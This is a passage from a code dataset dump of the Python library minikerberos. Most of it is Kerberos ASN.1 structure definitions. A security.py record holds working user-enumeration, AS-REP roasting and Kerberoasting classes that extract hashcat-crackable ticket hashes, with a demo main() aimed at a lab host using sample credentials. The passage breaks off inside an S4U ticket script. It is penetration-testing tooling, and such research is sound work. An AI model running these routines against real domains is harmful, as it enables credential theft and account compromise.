krb5int32, {'tag_type': TAG, 'tag': 0}),\n\t\t('salt', KerberosString, {'tag_type': TAG, 'tag': 1, 'optional': True}),\n\t\t('s2kparams', core.OctetString, {'tag_type': TAG, 'tag': 2, 'optional': True}),\n\t]\n\t\nclass ETYPE_INFO2(core.SequenceOf):\n\t_child_spec = ETYPE_INFO2_ENTRY\n\nclass METHOD_DATA(core.SequenceOf):\n\t_child_spec = PA_DATA\n\n\nclass TypedData(core.Sequence):\n\t_fields = [\n\t\t('data-type', krb5int32, {'tag_type': TAG, 'tag': 0}),\n\t\t('data-value', core.OctetString, {'tag_type': TAG, 'tag': 1, 'optional': True}),\n\t]\n\n\"\"\"\nclass TYPED-DATA ::= SEQUENCE SIZE (1..MAX) OF TypedData\n\"\"\"\n\n\nclass KDC_REQ_BODY(core.Sequence):\n\t_fields = [\n\t\t('kdc-options', KDCOptions, {'tag_type': TAG, 'tag': 0}),\n\t\t('cname', PrincipalName, {'tag_type': TAG, 'tag': 1, 'optional': True}),\n\t\t('realm', Realm, {'tag_type': TAG, 'tag': 2}),\n\t\t('sname', PrincipalName , {'tag_type': TAG, 'tag': 3, 'optional': True}),\n\t\t('from', KerberosTime , {'tag_type': TAG, 'tag': 4, 'optional': True}),\n\t\t('till', KerberosTime , {'tag_type': TAG, 'tag': 5, 'optional': True}),\n\t\t('rtime', KerberosTime , {'tag_type': TAG, 'tag': 6, 'optional': True}),\n\t\t('nonce', krb5int32 , {'tag_type': TAG, 'tag': 7}),\n\t\t('etype', SequenceOfEnctype , {'tag_type': TAG, 'tag': 8}), # -- EncryptionType,preference order\n\t\t('addresses', HostAddresses , {'tag_type': TAG, 'tag': 9, 'optional': True}),\n\t\t('enc-authorization-data', EncryptedData , {'tag_type': TAG, 'tag': 10, 'optional': True}), #-- Encrypted AuthorizationData encoding\n\t\t('additional-tickets', SequenceOfTicket , {'tag_type': TAG, 'tag': 11, 'optional': True}),\n\t\n\t]\n\nclass KDC_REQ(core.Sequence):\n\t_fields = [\n\t\t('pvno', krb5int32, {'tag_type': TAG, 'tag': 1}),\n\t\t('msg-type', krb5int32, {'tag_type': TAG, 'tag': 2}), #MESSAGE_TYPE\n\t\t('padata', METHOD_DATA , {'tag_type': TAG, 'tag': 3, 'optional': True}),\n\t\t('req-body', KDC_REQ_BODY , {'tag_type': TAG, 'tag': 4}),\n\t]\n\n\nclass AS_REQ(KDC_REQ):\n\texplicit = (APPLICATION, 10)\n\t\nclass TGS_REQ(KDC_REQ):\n\texplicit = (APPLICATION, 12)\n\n\n#-- padata-type ::= PA-ENC-TIMESTAMP\n#-- padata-value ::= EncryptedData - PA-ENC-TS-ENC\n\nclass PA_PAC_OPTIONSTypes(core.BitString):\n\t_map = {\n\t\t\t0: 'Claims',\n\t\t\t1: 'Branch Aware',\n\t\t\t2: 'Forward to Full DC',\n\t\t\t3: 'resource-based constrained delegation',\n\t\t}\n\nclass PA_PAC_OPTIONS(core.Sequence):\n\t_fields = [\n\t\t('value', PA_PAC_OPTIONSTypes, {'tag_type': TAG, 'tag': 0}),\n\t]\n\t\n\n\t\n\nclass PA_ENC_TS_ENC(core.Sequence):\n\t_fields = [\n\t\t('patimestamp', KerberosTime, {'tag_type': TAG, 'tag': 0}), #-- client's time\n\t\t('pausec', krb5int32, {'tag_type': TAG, 'tag': 1, 'optional':True}),\n\t]\n\n#-- draft-brezak-win2k-krb-authz-01\nclass PA_PAC_REQUEST(core.Sequence):\n\t_fields = [\n\t\t('include-pac', core.Boolean, {'tag_type': TAG, 'tag': 0}), #-- Indicates whether a PAC should be included or not\n\t]\n\n#-- PacketCable provisioning server location, PKT-SP-SEC-I09-030728.pdf\nclass PROV_SRV_LOCATION(core.GeneralString):\n\tpass\n\n\nclass KDC_REP(core.Sequence):\n\t_fields = [\n\t\t('pvno', core.Integer, {'tag_type': TAG, 'tag': 0}),\n\t\t('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}), #MESSAGE_TYPE\n\t\t('padata', METHOD_DATA, {'tag_type': TAG, 'tag': 2, 'optional': True}),\n\t\t('crealm', Realm , {'tag_type': TAG, 'tag': 3}),\n\t\t('cname', PrincipalName , {'tag_type': TAG, 'tag': 4}),\n\t\t('ticket', Ticket , {'tag_type': TAG, 'tag': 5}),\n\t\t('enc-part', EncryptedData , {'tag_type': TAG, 'tag': 6}), #EncKDCRepPart\n\t]\n\t\n\nclass AS_REP(KDC_REP):\n\t#::= [APPLICATION 11] KDC-REP\n\texplicit = (APPLICATION, 11)\n\t\nclass TGS_REP(KDC_REP): # ::= [APPLICATION 13] KDC-REP\n\texplicit = (APPLICATION, 13)\n\t\n\t\nclass EncKDCRepPart(core.Sequence):\n\t_fields = [\n\t\t('key', EncryptionKey, {'tag_type': TAG, 'tag': 0}),\n\t\t('last-req', LastReq, {'tag_type': TAG, 'tag': 1}),\n\t\t('nonce', krb5int32, {'tag_type': TAG, 'tag': 2}),\n\t\t('key-expiration', KerberosTime , {'tag_type': TAG, 'tag': 3, 'optional': True}),\n\t\t('flags', TicketFlags , {'tag_type': TAG, 'tag': 4}),\n\t\t('authtime', KerberosTime , {'tag_type': TAG, 'tag': 5}),\n\t\t('starttime', KerberosTime , {'tag_type': TAG, 'tag': 6, 'optional': True}),\n\t\t('endtime', KerberosTime , {'tag_type': TAG, 'tag': 7}),\n\t\t('renew-till', KerberosTime , {'tag_type': TAG, 'tag': 8, 'optional': True}),\n\t\t('srealm', Realm , {'tag_type': TAG, 'tag': 9}),\n\t\t('sname', PrincipalName , {'tag_type': TAG, 'tag': 10}),\n\t\t('caddr', HostAddresses , {'tag_type': TAG, 'tag': 11, 'optional': True}),\n\t\t('encrypted-pa-data', METHOD_DATA , {'tag_type': TAG, 'tag': 12, 'optional': True}),\n\t]\n\nclass EncASRepPart(EncKDCRepPart):\n\texplicit = (APPLICATION, 25)\n\t\nclass EncTGSRepPart(EncKDCRepPart):\n\texplicit = (APPLICATION, 26)\n\nclass AP_REQ(core.Sequence):\n\texplicit = (APPLICATION, 14)\n\t_fields = [\n\t\t('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}),\n\t\t('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}), #MESSAGE_TYPE\n\t\t('ap-options', APOptions, {'tag_type': TAG, 'tag': 2}),\n\t\t('ticket', Ticket , {'tag_type': TAG, 'tag': 3}),\n\t\t('authenticator', EncryptedData , {'tag_type': TAG, 'tag': 4}),\n\t]\n\nclass AP_REP(core.Sequence):\n\texplicit = (APPLICATION, 15)\n\t_fields = [\n\t\t('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}),\n\t\t('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}),#MESSAGE_TYPE\n\t\t('enc-part', EncryptedData , {'tag_type': TAG, 'tag': 2}),\n\t]\n\n\nclass EncAPRepPart(core.Sequence):\n\texplicit = (APPLICATION, 27)\n\t_fields = [\n\t\t('ctime', KerberosTime, {'tag_type': TAG, 'tag': 0}),\n\t\t('cusec', krb5int32, {'tag_type': TAG, 'tag': 1}),\n\t\t('subkey', EncryptionKey , {'tag_type': TAG, 'tag': 2, 'optional': True}),\n\t\t('seq-number', krb5uint32 , {'tag_type': TAG, 'tag': 3, 'optional': True}),\n\t]\n\n\nclass KRB_SAFE_BODY(core.Sequence):\n\t_fields = [\n\t\t('user-data', core.OctetString, {'tag_type': TAG, 'tag': 0}),\n\t\t('timestamp', KerberosTime, {'tag_type': TAG, 'tag': 1, 'optional': True}),\n\t\t('usec', krb5int32 , {'tag_type': TAG, 'tag': 2, 'optional': True}),\n\t\t('seq-number', krb5uint32 , {'tag_type': TAG, 'tag': 3, 'optional': True}),\n\t\t('s-address', HostAddress , {'tag_type': TAG, 'tag': 4, 'optional': True}),\n\t\t('r-address', HostAddress , {'tag_type': TAG, 'tag': 5, 'optional': True}),\n\t]\n\n\nclass KRB_SAFE(core.Sequence):\n\texplicit = (APPLICATION, 20)\n\t_fields = [\n\t\t('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}),\n\t\t('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}),#MESSAGE_TYPE\n\t\t('safe-body', KRB_SAFE_BODY , {'tag_type': TAG, 'tag': 2}),\n\t\t('cksum', Checksum , {'tag_type': TAG, 'tag': 3}),\n\t]\n\nclass KRB_PRIV(core.Sequence):\n\texplicit = (APPLICATION, 21)\n\t_fields = [\n\t\t('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}),\n\t\t('msg-type', krb5int32, {'tag_type': TAG, 'tag': 1}),#MESSAGE_TYPE\n\t\t('enc-part', EncryptedData, {'tag_type': TAG, 'tag': 2}),\n\t] \n\n\nclass EncKrbPrivPart(core.Sequence):\n\texplicit = (APPLICATION, 28)\n\t_fields = [\n\t\t('user-data', core.OctetString, {'tag_type': TAG, 'tag': 0}),\n\t\t('timestamp', KerberosTime, {'tag_type': TAG, 'tag': 1, 'optional': True}),\n\t\t('usec', krb5int32 , {'tag_type': TAG, 'tag': 2, 'optional': True}),\n\t\t('seq-number', krb5uint32 , {'tag_type': TAG, 'tag': 3, 'optional': True}),\n\t\t('s-address', HostAddress , {'tag_type': TAG, 'tag': 4, 'optional': True}),\n\t\t('r-address', HostAddress , {'tag_type': TAG, 'tag': 5, 'optional': True}),\n\t]\n\n\nclass KRB_CRED(core.Sequence):\n\texplicit = (APPLICATION, 22)\n\t_fields = [\n\t\t('pvno', core.Integer, {'tag_type': TAG, 'tag': 0}),\n\t\t('msg-type', core.Integer, {'tag_type': TAG, 'tag': 1}),\n\t\t('tickets', SequenceOfTicket, {'tag_type': TAG, 'tag': 2}),\n\t\t('enc-part', EncryptedData , {'tag_type': TAG, 'tag': 3}),\n\t\n\t]\n\t\n# http://web.mit.edu/freebsd/head/crypto/heimdal/lib/asn1/krb5.asn1\nclass KrbCredInfo(core.Sequence):\n\t_fields = [\n\t\t('key', EncryptionKey, {'tag_type': TAG, 'tag': 0}),\n\t\t('prealm', Realm, {'tag_type': TAG, 'tag': 1, 'optional': True}),\n\t\t('pname', PrincipalName, {'tag_type': TAG, 'tag': 2, 'optional': True}),\n\t\t('flags', TicketFlags , {'tag_type': TAG, 'tag': 3, 'optional': True}),\n\t\t('authtime', KerberosTime , {'tag_type': TAG, 'tag': 4, 'optional': True}),\n\t\t('starttime', KerberosTime , {'tag_type': TAG, 'tag': 5, 'optional': True}),\n\t\t('endtime', KerberosTime , {'tag_type': TAG, 'tag': 6, 'optional': True}),\n\t\t('renew-till', KerberosTime , {'tag_type': TAG, 'tag': 7, 'optional': True}),\n\t\t('srealm', Realm , {'tag_type': TAG, 'tag': 8, 'optional': True}),\n\t\t('sname', PrincipalName , {'tag_type': TAG, 'tag': 9, 'optional': True}),\n\t\t('caddr', HostAddresses , {'tag_type': TAG, 'tag': 10, 'optional': True}),\n\t]\n\t\nclass SequenceOfKrbCredInfo(core.SequenceOf):\n\t_child_spec = KrbCredInfo\n\t\nclass EncKrbCredPart(core.Sequence):\n\texplicit = (APPLICATION, 29)\n\t_fields = [\n\t\t('ticket-info', SequenceOfKrbCredInfo, {'tag_type': TAG, 'tag': 0}),\n\t\t('nonce', krb5int32, {'tag_type': TAG, 'tag': 1, 'optional': True}),\n\t\t('timestamp', KerberosTime , {'tag_type': TAG, 'tag': 2, 'optional': True}),\n\t\t('usec', krb5int32 , {'tag_type': TAG, 'tag': 3, 'optional': True}),\n\t\t('s-address', HostAddress , {'tag_type': TAG, 'tag': 4, 'optional': True}),\n\t\t('r-address', HostAddress , {'tag_type': TAG, 'tag': 5, 'optional': True}),\n\t]\n\nclass KRB_ERROR(core.Sequence):\n\texplicit = (APPLICATION, 30)\n\t_fields = [\n\t\t('pvno', krb5int32, {'tag_type': TAG, 'tag': 0}),\n\t\t('msg-type',krb5int32 , {'tag_type': TAG, 'tag': 1}), #MESSAGE_TYPE\n\t\t('ctime', KerberosTime , {'tag_type': TAG, 'tag': 2, 'optional': True}),\n\t\t('cusec', krb5int32 , {'tag_type': TAG, 'tag': 3, 'optional': True}),\n\t\t('stime', KerberosTime , {'tag_type': TAG, 'tag': 4}),\n\t\t('susec', krb5int32 , {'tag_type': TAG, 'tag': 5}),\n\t\t('error-code', krb5int32 , {'tag_type': TAG, 'tag': 6}),\n\t\t('crealm', Realm , {'tag_type': TAG, 'tag': 7, 'optional': True}),\n\t\t('cname', PrincipalName , {'tag_type': TAG, 'tag': 8, 'optional': True}),\n\t\t('realm', Realm , {'tag_type': TAG, 'tag': 9}),\n\t\t('sname', PrincipalName , {'tag_type': TAG, 'tag': 10}),\n\t\t('e-text', core.GeneralString , {'tag_type': TAG, 'tag': 11, 'optional': True}),\n\t\t('e-data', core.OctetString , {'tag_type': TAG, 'tag': 12, 'optional': True}),\n\t]\n\nclass ChangePasswdDataMS(core.Sequence):\n\t_fields = [\n\t\t('newpasswd', core.OctetString, {'tag_type': TAG, 'tag': 0}),\n\t\t('targname', PrincipalName, {'tag_type': TAG, 'tag': 1, 'optional': True}),\n\t\t('targrealm', Realm , {'tag_type': TAG, 'tag': 2, 'optional': True}),\n\t]\n\nclass EtypeList(core.SequenceOf):\n\t#-- the client's proposed enctype list in\n\t#-- decreasing preference order, favorite choice first\n\t_child_spec = ENCTYPE\n\n\t\nclass KerberosResponse(core.Choice):\n\t_alternatives = [\n\t\t('AS_REP', AS_REP, {'implicit': (APPLICATION,11) } ),\n\t\t('TGS_REP', TGS_REP, {'implicit': (APPLICATION,13) } ),\n\t\t('KRB_ERROR', KRB_ERROR, {'implicit': (APPLICATION,30) } ),\n\t]\n\t\n\t\nclass KRBCRED(core.Sequence):\n\texplicit = (APPLICATION, 22)\n\t\n\t_fields = [\n\t\t('pvno', core.Integer, {'tag_type': TAG, 'tag': 0}),\n\t\t('msg-type', core.Integer, {'tag_type': TAG, 'tag': 1}),\n\t\t('tickets', SequenceOfTicket, {'tag_type': TAG, 'tag': 2}),\n\t\t('enc-part', EncryptedData , {'tag_type': TAG, 'tag': 3}),\n\t\n\t]\n\n#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/aceb70de-40f0-4409-87fa-df00ca145f5a\n#other name: PA-S4U2Self\nclass PA_FOR_USER_ENC(core.Sequence): \n\t_fields = [\n\t\t('userName', PrincipalName, {'tag_type': TAG, 'tag': 0}),\n\t\t('userRealm', Realm, {'tag_type': TAG, 'tag': 1}),\n\t\t('cksum', Checksum, {'tag_type': TAG, 'tag': 2}),\n\t\t('auth-package', KerberosString , {'tag_type': TAG, 'tag': 3}),\n\t\n\t]\n\t\nclass S4UUserIDOptions(core.BitString):\n\t_map = {\n\t\t0x40000000 : 'check-logon-hour', #This option causes the KDC to check logon hour restrictions for the user.\n\t\t0x20000000 : 'signed-with-kun-27', #In a request, asks the KDC to sign the reply with key usage number 27. In a reply, indicates that it was signed with key usage number 27.\n\t}\n\n#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/cd9d5ca7-ce20-4693-872b-2f5dd41cbff6\nclass S4UUserID(core.Sequence):\n\t_fields = [\n\t\t('nonce', core.Integer, {'tag_type': TAG, 'tag': 0}), #-- the nonce in KDC-REQ-BODY\n\t\t('cname', PrincipalName, {'tag_type': TAG, 'tag': 1, 'optional' : True}),\n\t\t#-- Certificate mapping hints\n\t\t('crealm', Realm, {'tag_type': TAG, 'tag': 2}),\n\t\t('subject-certificate', core.OctetString, {'tag_type': TAG, 'tag': 3, 'optional' : True}),\n\t\t('options', S4UUserIDOptions, {'tag_type': TAG, 'tag': 4, 'optional' : True}),\n\t]\n\t\n#https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/cd9d5ca7-ce20-4693-872b-2f5dd41cbff6\nclass PA_S4U_X509_USER(core.Sequence):\n\t_fields = [\n\t\t('user-id', S4UUserID, {'tag_type': TAG, 'tag': 0}),\n\t\t('checksum', Checksum, {'tag_type': TAG, 'tag': 1}),\t\n\t]\n\nclass AD_IF_RELEVANT(AuthorizationData):\n\tpass\n\n\nclass GSSAPIOID(core.ObjectIdentifier):\n\t_map = {\n\t\t'1.2.840.113554.1.2.2': 'krb5',\n\t}\n\n\t_reverse_map = {\n\t\t'krb5': '1.2.840.113554.1.2.2',\n\t}\n\n\nclass GSSAPIToken(core.Asn1Value):\n\tclass_ = 1\n\ttag = 0\n\tmethod = 1\n\n\n#\t\n#DOMAIN-X500-COMPRESS\tkrb5int32 ::= 1\n#\n#-- authorization data primitives\n#\n#AD-IF-RELEVANT ::= AuthorizationData\n#\n#AD-KDCIssued ::= SEQUENCE {\n#\tad-checksum[0]\t\tChecksum,\n#\ti-realm[1]\t\tRealm OPTIONAL,\n#\ti-sname[2]\t\tPrincipalName OPTIONAL,\n#\telements[3]\t\tAuthorizationData\n#}\n#\n#AD-AND-OR ::= SEQUENCE {\n#\tcondition-count[0]\tINTEGER,\n#\telements[1]\t\tAuthorizationData\n#}\n#\n#AD-MANDATORY-FOR-KDC ::= AuthorizationData\n#\n#-- PA-SAM-RESPONSE-2/PA-SAM-RESPONSE-2\n#\n#PA-SAM-TYPE ::= INTEGER {\n#\tPA_SAM_TYPE_ENIGMA(1),\t\t-- Enigma Logic\n#\tPA_SAM_TYPE_DIGI_PATH(2),\t-- Digital Pathways\n#\tPA_SAM_TYPE_SKEY_K0(3),\t\t-- S/key where KDC has key 0\n#\tPA_SAM_TYPE_SKEY(4),\t\t-- Traditional S/Key\n#\tPA_SAM_TYPE_SECURID(5),\t\t-- Security Dynamics\n#\tPA_SAM_TYPE_CRYPTOCARD(6)\t-- CRYPTOCard\n#}\n#\n#PA-SAM-REDIRECT ::= HostAddresses\n#\n#SAMFlags ::= BIT STRING {\n#\tuse-sad-as-key(0),\n#\tsend-encrypted-sad(1),\n#\tmust-pk-encrypt-sad(2)\n#}\n#\n#PA-SAM-CHALLENGE-2-BODY ::= SEQUENCE {\n#\tsam-type[0]\t\tkrb5int32,\n#\tsam-flags[1]\t\tSAMFlags,\n#\tsam-type-name[2]\tGeneralString OPTIONAL,\n#\tsam-track-id[3]\t\tGeneralString OPTIONAL,\n#\tsam-challenge-label[4]\tGeneralString OPTIONAL,\n#\tsam-challenge[5]\tGeneralString OPTIONAL,\n#\tsam-response-prompt[6]\tGeneralString OPTIONAL,\n#\tsam-pk-for-sad[7]\tEncryptionKey OPTIONAL,\n#\tsam-nonce[8]\t\tkrb5int32,\n#\tsam-etype[9]\t\tkrb5int32,\n#\t...\n#}\n#\n#PA-SAM-CHALLENGE-2 ::= SEQUENCE {\n#\tsam-body[0]\t\tPA-SAM-CHALLENGE-2-BODY,\n#\tsam-cksum[1]\t\tSEQUENCE OF Checksum, -- (1..MAX)\n#\t...\n#}\n#\n#PA-SAM-RESPONSE-2 ::= SEQUENCE {\n#\tsam-type[0]\t\tkrb5int32,\n#\tsam-flags[1]\t\tSAMFlags,\n#\tsam-track-id[2]\t\tGeneralString OPTIONAL,\n#\tsam-enc-nonce-or-sad[3]\tEncryptedData, -- PA-ENC-SAM-RESPONSE-ENC\n#\tsam-nonce[4]\t\tkrb5int32,\n#\t...\n#}\n#\n#PA-ENC-SAM-RESPONSE-ENC ::= SEQUENCE {\n#\tsam-nonce[0]\t\tkrb5int32,\n#\tsam-sad[1]\t\tGeneralString OPTIONAL,\n#\t...\n#}\n#\n#PA-S4U2Self ::= SEQUENCE {\n#\tname[0]\t\tPrincipalName,\n# realm[1]\tRealm,\n# cksum[2]\tChecksum,\n# auth[3]\t\tGeneralString\n#}\n#\t\n#\t\n#\t\n#\t\n#\t\n#\n#\n#\n#\n#\n#\n## https://github.com/tiran/kkdcpasn1/blob/asn1crypto/pykkdcpasn1.py\n#class EncryptedData(core.Sequence):\n#\t\"\"\"EncryptedData\n#\t* KDC-REQ-BODY\n#\t* Ticket\n#\t* AP-REQ\n#\t* KRB-PRIV\n#\tEncryptedData ::= SEQUENCE {\n#\t\tetype\t\t[0] Int32,\n#\t\tkvno\t\t [1] UInt32 OPTIONAL,\n#\t\tcipher\t [2] OCTET STRING\n#\t}\n#\t\"\"\"\n#\t_fields = [\n#\t\t('etype', Int32, {'tag_type': TAG, 'tag': 0}),\n#\t\t('kvno', UInt32, {'tag_type': TAG, 'tag': 1, 'optional': True}),\n#\t\t('cipher', core.OctetString, {'tag_type': TAG, 'tag': 2}),\n#]\n#\n#class EncryptionKey(core.Sequence):\n#\t\"\"\"\n#\tEncryptionKey ::= SEQUENCE {\n#\tkeytype[0]\t\tkrb5int32,\n#\tkeyvalue[1]\t\tOCTET STRING\n#\t}\n#\t\"\"\"\n#\t_fields = [\n#\t\t('keytype', Int32, {'tag_type': TAG, 'tag': 0}),\n#\t\t('keyvalue', core.OctetString, {'tag_type': TAG, 'tag': 1}),\n#]\n#\n#\t\n#\n#\n#\n#\n\n#\n#\n#class SequenceOfInt32(core.SequenceOf):\n#\t\"\"\"SEQUENCE OF Int32 for KDC-REQ-BODY\n#\t\"\"\"\n#\t_child_spec = Int32\n#\n#\n#\t\n#class SequenceOfKrbCredInfo(core.SequenceOf):\n#\t_child_spec = KrbCredInfo\n#\t\n#\t\n#class EncKrbCredPart(core.Sequence):\n#\texplicit = (1, 29)\n#\t\n#\t_fields = [\n#\t\t('ticket-info', SequenceOfKrbCredInfo, {'tag_type': TAG, 'tag': 0}),\n#\t\t('nonce', Int32, {'tag_type': TAG, 'tag': 1, 'optional': True}),\n#\t\t('timestamp', KerberosTime , {'tag_type': TAG, 'tag': 2, 'optional': True}),\n#\t\t('usec', Microseconds , {'tag_type': TAG, 'tag': 3, 'optional': True}),\n#\t\t('s-address', HostAddress , {'tag_type': TAG, 'tag': 4, 'optional': True}),\n#\t\t('r-address', HostAddress , {'tag_type': TAG, 'tag': 5, 'optional': True}),\n#\t]\n#\t\n#\n#\n", "id": "8815298", "language": "Python", "matching_score": 4.360127925872803, "max_stars_count": 2, "path": "minikerberos/protocol/asn1_structs.py" }, { "content": "#!/usr/bin/env python3\n#\n# Author:\n# <NAME> (@skelsec)\n#\n\nimport datetime\nimport secrets\n\nfrom minikerberos import logger\nfrom minikerberos.aioclient import AIOKerberosClient\nfrom minikerberos.common.spn import KerberosSPN\nfrom minikerberos.common.target import KerberosTarget\nfrom minikerberos.common.creds import KerberosCredential\nfrom minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat\nfrom minikerberos import logger\nfrom minikerberos.protocol.asn1_structs import PrincipalName, KDCOptions, \\\n\tPADATA_TYPE, PA_PAC_REQUEST, krb5_pvno, KDC_REQ_BODY, AS_REQ\n\nfrom minikerberos.protocol.errors import KerberosErrorCode\nfrom minikerberos.protocol.constants import NAME_TYPE, MESSAGE_TYPE\nfrom minikerberos.network.selector import KerberosClientSocketSelector\n\n\nclass KerberosEtypeTest:\n\t# TODO: implement this\n\tpass\n\nclass KerberosUserEnum:\n\tdef __init__(self, target: KerberosTarget, spn: KerberosSPN):\n\t\tself.target = target\n\t\tself.spn = spn\n\t\tself.ksoc = KerberosClientSocketSelector.select(target, True)\n\n\n\tdef construct_tgt_req(self):\n\t\tnow = now = datetime.datetime.now(datetime.timezone.utc)\n\t\tkdc_req_body = {}\n\t\tkdc_req_body['kdc-options'] = KDCOptions(set(['forwardable','renewable','proxiable']))\n\t\tkdc_req_body['cname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': [self.spn.username]})\n\t\tkdc_req_body['realm'] = self.spn.domain.upper()\n\t\tkdc_req_body['sname'] = PrincipalName({'name-type': NAME_TYPE.PRINCIPAL.value, 'name-string': ['krbtgt', self.spn.domain.upper()]})\n\t\tkdc_req_body['till'] = (now + datetime.timedelta(days=1)).replace(microsecond=0)\n\t\tkdc_req_body['rtime'] = (now + datetime.timedelta(days=1)).replace(microsecond=0)\n\t\tkdc_req_body['nonce'] = secrets.randbits(31)\n\t\tkdc_req_body['etype'] = [2, 3, 16, 23, 17, 18] #we \"support\" all MS related enctypes\n\t\t\n\t\tpa_data_1 = {}\n\t\tpa_data_1['padata-type'] = int(PADATA_TYPE('PA-PAC-REQUEST'))\n\t\tpa_data_1['padata-value'] = PA_PAC_REQUEST({'include-pac': True}).dump()\n\t\t\n\t\tkdc_req = {}\n\t\tkdc_req['pvno'] = krb5_pvno\n\t\tkdc_req['msg-type'] = MESSAGE_TYPE.KRB_AS_REQ.value\n\t\tkdc_req['padata'] = [pa_data_1]\n\t\tkdc_req['req-body'] = KDC_REQ_BODY(kdc_req_body)\n\t\t\n\t\treturn AS_REQ(kdc_req)\n\n\tasync def run(self):\n\t\treq = self.construct_tgt_req()\n\n\t\trep = await self.ksoc.sendrecv(req.dump(), throw = False)\n\n\t\tif rep.name != 'KRB_ERROR':\t\n\t\t\t# user doesnt need preauth, but it exists\n\t\t\treturn True\n\t\t\t\n\t\telif rep.native['error-code'] != KerberosErrorCode.KDC_ERR_PREAUTH_REQUIRED.value:\n\t\t\t# any other error means user doesnt exist\n\t\t\treturn False\n\t\t\t\n\t\telse:\n\t\t\t# preauth needed, only if user exists\n\t\t\treturn True\n\nclass APREPRoast:\n\tdef __init__(self, target: KerberosTarget):\n\t\tself.target = target\n\n\tasync def run(self, cred: KerberosCredential, override_etype = [23]):\n\t\t\"\"\"\n\t\toverride_etype: list : list of supported encryption types\n\t\t\"\"\"\n\t\ttry:\n\t\t\tkcomm = AIOKerberosClient(cred, self.target)\n\t\t\tawait kcomm.get_TGT(override_etype = override_etype, decrypt_tgt = False)\n\t\t\treturn TGTTicket2hashcat(kcomm.kerberos_TGT)\n\t\texcept Exception as e:\n\t\t\tlogger.debug('Error while roasting client %s/%s Reason: %s' % (cred.domain, cred.username, str(e)))\n\n\nclass Kerberoast:\n\tdef __init__(self, target: KerberosTarget, cred: KerberosCredential):\n\t\tself.target = target\n\t\tself.cred = cred\n\n\tasync def run(self, spns, override_etype = [2, 3, 16, 23, 17, 18]):\n\t\ttry:\n\t\t\tkcomm = AIOKerberosClient(self.cred, self.target)\n\t\t\tawait kcomm.get_TGT(override_etype = override_etype, decrypt_tgt = False)\n\t\texcept Exception as e:\n\t\t\tlogger.exception('a')\n\t\t\tlogger.debug('Error logging in! Reason: %s' % (str(e)))\n\n\t\tresults = []\n\t\tfor spn in spns:\n\t\t\ttry:\n\t\t\t\ttgs, _, _ = await kcomm.get_TGS(spn, override_etype = override_etype)\n\t\t\t\tresults.append(TGSTicket2hashcat(tgs))\n\t\t\texcept Exception as e:\n\t\t\t\tlogger.exception('b')\n\t\t\t\tlogger.debug('Failed to get TGS ticket for user %s/%s/%s! Reason: %s' % (spn.domain, str(spn.service), spn.username, str(e)))\n\t\t\t\tcontinue\n\n\t\treturn results\n\nasync def main():\n\turl = 'kerberos+pw://teas\\\\test:pass@10.10.10.2'\n\tku = KerberosClientURL.from_url(url)\n\ttarget_user = '<EMAIL>'\n\ttarget = ku.get_target()\n\tprint(target)\n\tspn = KerberosSPN.from_user_email(target_user)\n\tue = KerberosUserEnum(target, spn)\n\tres = await ue.run()\n\tprint(res)\n\t\n\turl = 'kerberos+pw://TEST\\\\asreptest:pass@10.10.10.2'\n\tku = KerberosClientURL.from_url(url)\n\ttarget = ku.get_target()\n\tcred = ku.get_creds()\n\tarr = APREPRoast(target)\n\tres = await arr.run(cred)\n\tprint(res)\n\n\n\ttarget_user = '<EMAIL>'\n\tspn = KerberosSPN.from_user_email(target_user)\n\turl = 'kerberos+pw://TEST\\\\victim:Passw0rd!1@10.10.10.2/?timeout=77'\n\tku = KerberosClientURL.from_url(url)\n\ttarget = ku.get_target()\n\tcred = ku.get_creds()\n\tarr = Kerberoast(target, cred)\n\tres = await arr.run([spn])\n\tprint(res)\n\n\ttarget_user = '<EMAIL>'\n\tspn = KerberosSPN.from_user_email(target_user)\n\turl = 'kerberos+pw://TEST\\\\victim:Passw0rd!1@10.10.10.2/?proxyhost=10.10.10.102&proxytype=socks5&proxyport=1080'\n\tku = KerberosClientURL.from_url(url)\n\ttarget = ku.get_target()\n\tprint(target)\n\tcred = ku.get_creds()\n\tarr = Kerberoast(target, cred)\n\tres = await arr.run([spn])\n\tprint(res)\n\nif __name__ == '__main__':\n\tfrom asysocks import logger as alogger\n\tfrom minikerberos.common.url import KerberosClientURL\n\timport asyncio\n\talogger.setLevel(2)\n\tasyncio.run(main())\n\t", "id": "11141927", "language": "Python", "matching_score": 3.2829971313476562, "max_stars_count": 0, "path": "minikerberos/security.py" }, { "content": "#!/usr/bin/env python3\n#\n# Author:\n# <NAME> (@skelsec)\n#\nimport os\nimport logging\nimport asyncio\n\nfrom minikerberos import logger\nfrom minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog\nfrom minikerberos.aioclient import AIOKerberosClient\nfrom minikerberos.common.spn import KerberosSPN\n\nimport pprint\n\nasync def amain(args):\n\tcu = KerberosClientURL.from_url(args.kerberos_connection_url)\n\tccred = cu.get_creds()\n\ttarget = cu.get_target()\n\n\tservice_spn = KerberosSPN.from_target_string(args.spn)\n\ttarget_user = KerberosSPN.from_user_email(args.targetuser)\n\t\n\tif not ccred.ccache:\n\t\tlogger.debug('Getting TGT')\n\t\tclient = AIOKerberosClient(ccred, target)\n\t\tawait client.get_TGT()\n\t\tlogger.debug('Getting ST')\n\t\ttgs, encTGSRepPart, key = await client.getST(target_user, service_spn)\n\telse:\n\t\tlogger.debug('Getting TGS via TGT from CCACHE')\n\t\tfor tgt, key in ccred.ccache.get_all_tgt():\n\t\t\ttry:\n\t\t\t\tlogger.info('Trying to get SPN with %s' % '!'.join(tgt['cname']['name-string']))\n\t\t\t\tclient = AIOKerberosClient.from_tgt(target, tgt, key)\n\n\t\t\t\ttgs, encTGSRepPart, key = await client.getST(target_user, service_spn)\n\t\t\t\tlogger.info('Sucsess!')\n\t\t\texcept Exception as e:\n\t\t\t\tlogger.debug('This ticket 